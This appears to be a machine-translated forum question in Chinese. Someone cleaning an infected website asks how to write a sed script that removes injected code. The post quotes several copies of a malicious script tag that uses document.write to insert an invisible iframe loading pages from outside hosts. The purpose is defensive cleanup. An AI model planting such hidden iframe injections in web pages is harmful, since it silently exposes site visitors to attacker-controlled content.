我正在帮助某人清理网站上的恶意软件感染,并且我很难在sed中正确匹配某些字符串,因此我可以创建脚本来批量搜索并替换/删除它。清理iframe恶意软件
字符串是:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://vidintex.com/includes/class.pop.php"></iframe></div>');</script>
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
我似乎无法弄清楚如何逃脱的各种人物在这些线路...
如果我尝试只是说删除整个行,如果它匹配http://vidintex.com/includes/class.pop.php
它也会删除.html
文件中的关闭html </body>
。
所以我需要能够将此整条生产线在sed匹配:
<script>document.write('<style>.vb_style_forum {filter: alpha(opacity=0);opacity: 0.0;width: 200px;height: 150px;}</style><div class="vb_style_forum"><iframe height="150" width="200" src="http://www.iws-leipzig.de/contacts.php"></iframe></div>');</script>
任何帮助将不胜感激!
谢谢。这让我更加接近,但它也会删除文件中的结尾“